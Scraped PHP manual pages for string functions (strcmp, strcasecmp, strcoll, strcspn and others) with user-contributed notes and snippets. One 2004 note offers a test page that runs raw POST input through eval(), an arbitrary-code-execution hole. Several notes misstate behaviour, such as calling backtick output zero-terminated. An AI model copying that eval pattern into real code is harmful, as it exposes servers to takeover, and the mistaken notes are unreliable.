More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs 22-Feb-2004 09:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
        $ls=0;//was it a whitespace?
        $cc33=0;//counter
        for($i=0;$i<strlen($text);$i++){
                $spstat=false; //is it a number or a letter?
                $ot=ord($text[$i]);
                if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
                (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
                if(($ls==0)&&($spstat)){
                        $ls=1;
                        $cc33++;
                }
                if(!$spstat)$ls=0;
        }
        return $cc33;
}

?>
Artimis 15-Oct-2003 02:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it 19-May-2003 04:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
megat at megat dot co dot uk 18-Apr-2003 06:29
[Ed: You'd probably want to use regular expressions if this was the case --alindeman @ php.net]

Consider what will happen in some of the above suggestions when a person puts more than one space between words. That's why it's not sufficient just to explode the string.
olivier at ultragreen dot net 11-Apr-2003 06:10
I will not discuss the accuracy of this function but one of the source codes above does this.

<?php
function wrdcnt($haystack) {
 $cnt = explode(" ", $haystack);
 return count($cnt) - 1;
}
?>

That could be replace by

<?php
function wrdcnt($haystack) {
 return substr_count($haystack,' ') + 1;
}
?>

I doubt this does need to be a function :)
philip at cornado dot com 06-Apr-2003 07:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr 16-Jan-2003 07:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com 09-Nov-2002 12:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)
gorgonzola at nospam dot org 31-Oct-2002 02:48
i tried to write a wordcounter and ended up with this:

<?php
//strip html-codes or entities
$text = strip_tags(strtr($text, array_flip(get_html_translation_table(HTML_ENTITIES))));
//count the words
$wordcount = preg_match_all("#(\w+)#", $text, $match_dummy );
?>
str_split
strcasecmp
String Functions


Binary safe case-insensitive string comparison

str_word_count
strchr
String Functions
PHP Manual

strcasecmp

(PHP 4, PHP 5)

strcasecmp — Binary safe case-insensitive string comparison

Description

int strcasecmp ( string $str1 , string $str2 )

Binary safe case-insensitive string comparison.

Parameters

str1

The first string

str2

The second string

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Examples

Example #1 strcasecmp() example

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
    echo '$var1 is equal to $var2 in a case-insensitive string comparison';
}
?>

See Also

  • strcmp() - Binary safe string comparison
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

chris at cmbuckley dot co dot uk 28-Dec-2011 04:59
A simple multibyte-safe case-insensitive string comparison:

<?php

function mb_strcasecmp($str1, $str2, $encoding = null) {
    if (null === $encoding) { $encoding = mb_internal_encoding(); }
    return strcmp(mb_strtoupper($str1, $encoding), mb_strtoupper($str2, $encoding));
}

?>

Caveat: watch out for edge cases like "ß".
alvaro at demogracia dot com 29-Jul-2010 05:35
Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation.
27-Aug-2002 06:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!
str_word_count
strchr
String Functions


Alias of strstr

strcasecmp
strcmp
String Functions
PHP Manual

strchr

(PHP 4, PHP 5)

strchr — Alias of strstr()

Description

This function is an alias of: strstr().

User Contributed Notes

webmaster at lyndonstate dot edu 12-Nov-2003 12:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt 10-Jan-2003 08:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao
strcasecmp
strcmp
String Functions


Binary safe string comparison

strchr
strcoll
String Functions
PHP Manual

strcmp

(PHP 4, PHP 5)

strcmp — Binary safe string comparison

Description

int strcmp ( string $str1 , string $str2 )

Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • strcasecmp() - Binary safe case-insensitive string comparison
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • substr() - Return part of a string

User Contributed Notes

hrodicus at gmail dot com 28-Feb-2011 06:40
Note a difference between 5.2 and 5.3 versions

echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.
hm2k at php dot net 02-Aug-2010 04:41
Don't forget the similar_text() function...

http://php.net/manual/en/function.similar-text.php
Rob Wiesler 21-Jul-2009 12:48
One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check.

On Debian Lenny (and RHEL 5, with minor differences), I get this:

====PHP====
<?php
$sz = `pwd`;
$ps = "/var/www";

echo "Zero-terminated string:<br />sz = ".$sz."<br />str_split(sz) = "; print_r(str_split($sz));
echo "<br /><br />";

echo "Pascal-style string:<br />ps = ".$ps."<br />str_split(ps) = "; print_r(str_split($ps));
echo "<br /><br />";

echo "Normal results of comparison:<br />";
echo "sz == ps = ".($sz == $ps ? "true" : "false")."<br />";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo "<br /><br />";

echo "Comparison with trim()'d zero-terminated string:<br />";
echo "trim(sz) = ".trim($sz)."<br />";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "<br />";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."<br />";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>

====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )

Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )

Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1

Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
wsogmm at seznam dot cz 16-May-2009 08:45
Just a short comment to the note of arnar at hm dot is: md5() is a hash function and therefore it may happen (although it is very unlikely) that the md5() checksums of  two different strings will be equal (hash collision) ...
arnar at hm dot is 15-May-2009 07:51
Sometimes when you compare two strings that look "the same", you will find that they aren't. If you don't want to bother finding out why, then this is a simple solution:

$string = implode(str_split($string));

Converting the strings to md5 is also a nice method to see if they're equal.

md5($str1)."\n";
md5($str2)."\n\n";

____________
Arnar Yngvason
ThinkSoftware
nullhility at gmail dot com 15-Mar-2009 02:36
For those that are confused about the way this function works:

<?php
$str1 = 'a';
$str2 = 'b';
var_dump(strcmp($str1, $str2)); //int(-1)
?>

Alphabetically 'a' precedes 'b'. If we view the strings as values 'a' is less than 'b' and therefore the function returns -1.

If we were searching through an alphabetically sorted list we'd have a numerical index ($i) and compare the search string ($sstr) against each member of the string list ($slist), using strcmp we can check whether to go "up"($i++) or "down"($i--) through this list.

Here's the example function:
<?php
function strInList ($sstr)
{
    $slist = array('a', 'b', 'c', 'd', 'e' /* etc */);

    $i = sizeof($slist) / 2; //start the index in the middle

    while ($i < sizeof($slist) && $i >= 0) { //constrain $i to the scope of $slist

        $cmp = strcmp($slist[$i], $sstr);

        if ($cmp > 0) { //alphabetically, $slist[$i] procedes $sstr
            $i--; //move DOWN the list
        } else if ($cmp < 0) { //alphabetically, $slist[$i] precedes $sstr
            $i++; //move UP the list
        } else if ($cmp == 0) { //$slist[$i] occurs neither before nor after $sstr
            return true; //successful match
        }
    }
    return false; //The index fell out of the list scope, with no match made
}
?>
g-lock at nv-net.ru 18-Jun-2008 11:08
Here is my function to compare russian words.
You can replace $abc to your alphabet.

function strcmp_rus($str1, $str2)
{
    $abc = "АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
абвгдеёжзийклмнопрстуфхцчшщъыьэюя";
    $len = min(strlen($str1), strlen($str2));
    for ($i = 0; $i < $len; $i++)
    {
        $s1 = strlen($abc);
        $s2 = strlen($abc);
        for ($j = 0; $j < strlen($abc); $j++) if ($str1[$i] == $abc[$j]) $s1 = $j;
        for ($k = 0; $k < strlen($abc); $k++) if ($str2[$i] == $abc[$k]) $s2 = $k;
        if ($s1 < $s2) return -1;
        else if ($s1 > $s2) return 1;
    }
    return 0;
}
nobody@nogroup 23-Aug-2007 07:59
To Monsieur Egmont and 'php or die', use setlocale and strcoll to compare strings in languages such as German, Swedish that use accented characters, and strings of non-latin script.
M. Egmond 22-Aug-2006 03:21
php dot or dot die at phpuser dot net wrote that he had an unexpected difference in comparing between case sensitive and insensitive. They key there is that the case insensitive comparison converts both strings to lowercase before comparing. Since the underscore character is in a different place when compared to an uppercase or lowercase string, the result is different.

There is no 'clear' order of punctuation and other characters in or around the alphabet. Most code assumes ASCII order in which case there are several characters before both upper- and lowercase, a few inbetween, and some after both upper- and lowercase.

Note also many other/older implementations of sorting sort accented character wrong since they appear after all other alphabetical characters in most charactersets. There is probably a function in PHP to take this into account though.

Therefore I would not recommend to make a detailed assumption on how punctuation and other characters sort in relation to alphabetical characters. If sorting these characters at a specific place and in a specific order is important for you, you should probably write a custom string comparison function that does it the way you want. Usually it's sufficient to have a consistent sorting order though, which is what you get by using either strcmp, or strcasecmp consistently.
jeff at skrysak dot com 03-Aug-2006 07:36
The definition of return values of this function is listed correctly on this page, however, there is a common misconception in the notes posted here previously from users.

A previous poster said:
If $str1 == $str2 strcmp return 0.
If $str1  > $str2 strcmp return 1.
If $str1  < $str2 strcmp return -1.

That is incorrect, please look at the definition of the function
at the top of this page. It returns less than 0 if str1 is less than str2. Note the phrase "less than", it does not return just -1, but any negative value. The same happens when str1 is greater than str2, but it returns a positive, non-zero value. It returns a positive value that can be 1, or any number thereafter.

strcmp() returns a number that is the difference between the two strings starting with the last character that was found to be similar.

Here is an example:

$output = strcmp("red", "blue");

The variable $output with contain a value of 16
robertb at littleNOSPAMcutie dot net 05-Apr-2006 07:19
S dot Radovanovic suggested:

"So my conclusion is that when comparing string, you'd better not make use of == (use strmp or === instead). For integer comparisons the == equation can be usefull, since our values will always be casted to an integer (1 == "1" returns true)."

When I tried this, I ran into a problem with parameters passed in the URL.  I forgot that a parameter that is not supplied wouldn't be a string, so this code -- which I expected to default to the current year -- didn't work:

<?php
// Did we get a parameter?
if ($year === '') {
    // Default to current year
    $temp = getdate();
    $year = $temp['year'];
}

$fname = "magic{$year}.txt";

if (file_exists($fname) == FALSE) {
  echo "<h2>Data file doesn't exist</h2>";
  exit;
}
?>

Since $year was uninitialized, it didn't exactly equal '', and the file wasn't found.  I went back to == in this case.

However, I did heed your advice when looking for a particular value ($debug === 'Y'), instead of looking for the lack of a value.  Thanks!
php dot or dot die at phpuser dot net 15-Feb-2006 02:19
I've a strange problem. I tried to compare string in the same order oracle does.
The strange thing is:
strcmp('ACQUE_SOTTERRANEE','ACQUE_SOTT_ORAC')
//result is -1
strcasecmp('ACQUE_SOTTERRANEE','ACQUE_SOTT_ORAC')
//result is 6

I'm surprised for the opposite result!
The correct order (oracle ascending order) is:
1- ACQUE_SOTTERRANEE
2- ACQUE_SOTT_ORAC
francis at flourish dot org 08-Dec-2005 06:57
If you want to strings according to locale, use strcoll instead.
element @ no spam dot net 19-Feb-2005 03:42
When using strcmp to compare results received from a form, keep in mind that the way you decide to encapsulate the value of the form will have an effect on your strcmp() results.

Example:

<input type="post" name="user[0]" value="abc">
<input type="post" name="user[1]" value='abc'>

strcmp() will not return the values sent from this form as "0".

However, by using single-quotes or double-quotes to encapsulate BOTH values, strcmp() will return a "0" result.
S dot Radovanovic at TriMM dot nl 07-Feb-2005 06:36
One thing to note in comparison with ==

When we make a comparison with == php automaticly converts strings to integers when either side of the comparison is an integer, f.e.:
<?
$value = 0;
if($value == "submit") {
    echo "Let's submit";
}
?>
Above would be succesful, since "submit" is converted to an integer (eq 0) and the equation is would return true; (that's why (1 == "1submit") would also return true)

That's why we should use strcmp or === (checks type also), for string comparisons.

So my conclusion is that when comparing string, you'd better not make use of == (use strmp or === instead). For integer comparisons the == equation can be usefull, since our values will always be casted to an integer (1 == "1" returns true).
x123 at bestof-inter dot net 29-Oct-2004 06:43
Please tell what you mean by "alphabetically" and when you say
"because of the way it works, it is not very useful..." or
"I get strange results, 1 for strings that are equal, etc." :
give an example where it does not work and/or show where your script works better!
(To test some PHP code, it is sufficient to have a file of 3 lines:
<form action='' method=POST><input type=submit value=Evaluate>
<textarea id=c><?=$c=stripslashes($_POST['c'])?></textarea>
<br>Result of the above:<pre><?=eval($c)?></pre></form>)

Imagine how much time is lost for visitors trying to figure out what your program does differently from strcmp ?

Imagine how much resources are wasted if PHP users are made to think that PHP functions don't work well and use the EXTREMELY inefficient routines proposed below (e.g. a string comparision routine that uses substr(...,$i,1) to access individual caracters...!)

If the documentation says 'binary safe' this should mean that strings are compared byte by byte (according to internal format)
- if strcmp() does instead use locale collation tables, this should be clearly mentioned in the documentation.
pabloATnkstudiosDOTnet 01-Jun-2004 11:36
Just note that the documentation about the function returns is a little confused.

So...

If $str1 == $str2 strcmp return 0.
If $str1  > $str2 strcmp return 1.
If $str1  < $str2 strcmp return -1.

Pablo Rosciani
http://pablo.rosciani.com.ar
jcanals at totsoft dot com 30-Jan-2004 06:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
gregd at sad dot net 08-Sep-2003 11:49
In cases when you need to compare a line from a just parsed file stream to match a user-defined "nametag" (useful for parsing ini and configuration files), keep in mind the 'end of line' tags as well:

// nametag to look for in a file (notice a required "\r\n" at the end)
$nametag = "[System]\r\n";

// ...assuming the file has been aready opened for reading and the stream is bound to $filehandle... parse the file until an EOF or $nametag encountered.

while (!feof ($handle))
{
    $buffer = fgets($filehandle);
    if (strcmp($nametag, $buffer) == 0)
    {
        // at this point "[System]" is found, do additional parsings...
        break;
    }
}
admin[nospam] at pretend dot tk 17-Jun-2003 07:44
Reguarding the above note on language specific string comparisons, LL and RR are also single letters in the Spanish language.
mnunemacher at datility dot net 27-Apr-2003 03:40
Because of the way this function works, it's not very useful for ordering strings alphabetically. If you're trying to alphabetize a list of strings (like a dictionary does), you may want to use the following functions instead:
-----------------

// Returns 1 if $str1 comes before $str2 alphabetically
// Returns -1 if $str1 comes after $str2 alphabetically
// Returns 0 if $str1 and $str2 are the same
function orderAlpha ( $str1, $str2 ) {
   $limit = null;

   if ( strlen( $str1 ) > strlen( $str2 ) ) {
      $limit  = strlen( $str2 );
   } else {
      $limit = strlen( $str1 );
   }

   for ( $i = 0;$i < $limit;$i++ ) {
      if ( substr( $str1, $i, 1 ) > substr( $str2, $i, 1 ) ) {
         return 1;
      } else if ( substr( $str1, $i, 1 ) < substr( $str2, $i, 1 ) ) {
         return -1;
      }
   }

   if ( strlen( $str1 ) > strlen( $str2 ) ) {
      return 1;
   } else if ( strlen( $str1 ) < strlen( $str2 ) ) {
      return -1;
   }

   return 0;
}

// Case insensitive version of orderAlpha
function orderiAlpha ( $str1, $str2 ) {
   return orderAlpha( strtolower( $str1 ), strtolower( $str2 ) );
}
-----------------
ahmed at somantic dot net 23-Mar-2003 12:52
For some reason the strcmp fails for this function if the $item_to_compare->ID = "AB123" or some similar string. This happened even though $ID = "AB123":
<pre>

function item_exists($ID)
{
   // returns 0 for error
   global $item_list; // this is an array of class objects

   if (is_array($item_list))
   {
      foreach ($item_list as $key => $item_to_compare)
      {
         if (!strcmp($item_to_compare->ID, $ID))
         {
            unset ($item_list);
            return $key;
         }
      }
   }
   // Else fail
   unset ($item_list);
   return 0;
}

</pre>

So I was forced to do this:

<pre>

function item_exists($ID)
{
   // returns 0 for error
   global $item_list;

   if (is_array($item_list))
   {
      for($i = 0; $i < count($item_list); $i++)
      {
         if (!strcmp($item_list[$i]->ID, $ID))
         {
            unset ($item_list);
            return $i;
         }
      }
   }
   // Else fail
   unset ($item_list);
   return 0;
}

</pre>
izhan dot khalib at acpibhd dot com 16-Dec-2002 11:13
I have tried the  strcmp function. Pls be very carefull. The string comparison must exactly "equal". So many people had confused.

I.e

My program read a string from test.txt file to get the
"[company name]" string.

// get contents of a file into a string
$filename = "test.txt";
$fd = fopen ($filename, "rb");
$contents = fread ($fd, filesize ($filename));

for($i=0;$i<strpos($contents, "]")+1;$i++)
{
//print $contents[$i];
//$a=trim($contents[$i]);
$a=$contents[$i];
echo $a;
//echo $i;
}

$str2="[companyname]";

// this comparison will resulted on greater (1), $result=1
//please remember $tempvariable[2] != $tempvariable (is not equal)
$result = strcmp(strtolower($a),strtolower($str2));

//this comparison working properly, $result=0
//$result = strcmp(strtolower($a),strtolower($str2[12]));

echo $result;

if ($a==$str2[12]) //double check the equality of string
{
echo "read the NextLine"; }
 else {
 echo "not equal";
 }
//end

fclose ($fd);
?>

I hope the above example will help you.
madsen at sjovedyr dot dk 02-Oct-2002 11:59
It's definitely worth noting that the return-values of strcmp() when used for i.e. password-checking is the oposite of that of the ==-operator.

I.e.:
$pw1 = "yeah";
$pw2 = "yeah";

if (strcmp($pw1, $pw2)) {   // This returns false.
    // $pw1 and $pw2 are NOT the same.
} else {
    // $pw1 and $pw2 are the same.
}

Where the use of the == operator would give us.:
if ($pw1==$pw2) {    // This returns true.
    // $pw1 and $pw2 are the same.
} else {
    // $pw1 and $pw2 are NOT the same.
}

Additionally, to check if $pw1 and $pw2 are of the same type you can use the === operator.
27-Aug-2002 06:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '�' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '�' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
anonymous at anon dot com 14-Jun-2001 04:51
As mentioned above...be careful of trailing whitespace when making string comparisons...to be sure that you are rid of it all, use the trim() function.
owen at cips dot nokia dot com 03-Nov-2000 04:23
Regarding bizarre return values from str*cmp(), I was having similar troubles until I realized that I was attempting to compare a string with HTML formatting with its plain-text equivilant. The formatted string was an <OPTION> value, so the HTML was rendered without the <b> and <i> formatting I was using. Consequently the formatted and unformatted strings were rendered identically in the browser. D'oh!
phpnotes at travelersweb dot com 31-Jul-2000 08:18
Here is a quick note to explain what is meant by > and <.  I wrote a script to compare results.  If a string is  closer to 'A' in the alphabet, it is < the other string.  Here is the output hope this save saves people lots of time:
acc = acc     |  ac < acc
accc > acc    | acd > acc
acb < acc     |  acb < accc
acb < accd   |  bcc > acc
bcc > acc     |  bcca > acc
bcc > acca   |  1bcc < acca
bcc < bcc1    |  bcc1 > bcc
1bcc < bcc    |  1bcc < 1bcd
1bcd > 1bcc  |  _bcc < bcc
bcc > _bcc    |   ;bcc < bcc
bcc > ;bcc     |  bcc < bcc;
bcc; = bcc;
Jesse at bend dot com 26-Jul-2000 10:15
Well, I am using PHP 4.0 and both strcmp and strcasecmp appear to be giving me very arbitrary and incomprehensible results. When I input strings, it appears that "equal" strings return "1", as well as some unequal strings, and that if the first argument is "smaller" then I *tend* to get negative numbers, but sometimes I get 1, and if larger I *tend* to get numbers larger than 1..

both strcmp and strcasecmp are thus rendered totally unuseable for me in order to either alphebetize or compare strings for inequality.
frewuill at merlin-corp dot com 28-Feb-2000 02:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.
strchr
strcoll
String Functions


Locale based string comparison

strcmp
strcspn
String Functions
PHP Manual

strcoll

(PHP 4 >= 4.0.5, PHP 5)

strcoll — Locale based string comparison

Description

int strcoll ( string $str1 , string $str2 )

Note that this comparison is case sensitive, and unlike strcmp() this function is not binary safe.

strcoll() uses the current locale for doing the comparisons. If the current locale is C or POSIX, this function is equivalent to strcmp().

Parameters

str1

The first string.

str2

The second string.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Changelog

Version | Description
4.2.3 | This function now works on win32.

See Also

  • preg_match() - Perform a regular expression match
  • strcmp() - Binary safe string comparison
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • setlocale() - Set locale information

User Contributed Notes

sakkarinlaohawisut15 at hotmail dot com 22-Mar-2003 11:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', 'ä', 'Ä', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
    [0] => A
    [1] => B
  [2] => a
    [3] => b
    [4] => Ä
    [5] => ä
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
    [0] => a
    [1] => A
    [2] => ä
    [3] => Ä
    [4] => b
  [5] => B
 )
27-Aug-2002 07:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!
strcmp
strcspn
String Functions


Find length of initial segment not matching mask

strcoll
strip_tags
String Functions
PHP Manual

strcspn

(PHP 4, PHP 5)

strcspn — Find length of initial segment not matching mask

Description

int strcspn ( string $str1 , string $str2 [, int $start [, int $length ]] )

Returns the length of the initial segment of str1 which does not contain any of the characters in str2.

Parameters

str1

The first string.

str2

The second string.

start

The start position of the string to examine.

length

The length of the string to examine.

Return Values

Returns the length of the segment as an integer.

Changelog

Version | Description
4.3.0 | The start and length were added

Examples

Example #1 strcspn() example

<?php
$a = strcspn('abcd',  'apple');
$b = strcspn('abcd',  'banana');
$c = strcspn('hello', 'l');
$d = strcspn('hello', 'world');

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>

The above example will output:

int(0)
int(0)
int(2)
int(2)

Notes

Note: This function is binary-safe.

See Also

  • strspn() - Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.

User Contributed Notes

legacyprog at routinz dot net 09-Dec-2010 07:20
When you use the third parameter remember that the function will return the number of characters it bypassed, which will *not* be the position in your source string.  It's a simple fix to just add your third parameter value to the function result to get the position in the first string where the scan stopped, but I didn't think of it at first.
Anonymous 16-Oct-2009 10:55
strcspn() can also be thought of as analogous to the following regular expression:
<?php
// where ... represents the mask of characters
preg_match('/[^ ...]/', substr($subject, $start, $length) );
?>
By this analogy, strcspn() can be used in place of some regular expressions to match a pattern without the overhead of a regex engine -- for example, ways to verify if an input string represents a binary value:
<?php
preg_match('/^[01]+$/i', $subject);
// or...
!preg_match('/[^01]/i', $subject);

// ...or using strcspn()
!strcspn($subject, '01');
?>
Dmitry Mazur 04-Mar-2009 10:17
The second parameter simply is the set of the "stop"-characters.
In other words, this function will return the index (starting from 0) of a first occurence of the stop-character.
PHP at NospamImmortalSoFar dot com 07-Oct-2006 06:31
Also useful for breaking down expressions - for example parsing SQL: values ('this', fn("that,)()", 4))

$sep = strcspn ($list, "'\"`");     //    Start of quoted string
$list = substr ($list, $sep);
$find = substr ($list, 0, 1);
while (($sep = strpos ($list, $find, $sep+1)) > 0 && substr ($list, $sep-1, 1) == '\\')
    {}
//  $sep now spans the entire string, regardless of embedded quotes

Once the strings have been removed, an expression can then be parsed for commas and brackets without worrying about them:

while ($out != '')
{
    $sep = strcspn ($list, "(),");      //  Next seperator
...
}
AT-HE (at_he AT hotmai1 DOT com) 27-Dec-2005 02:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
    echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
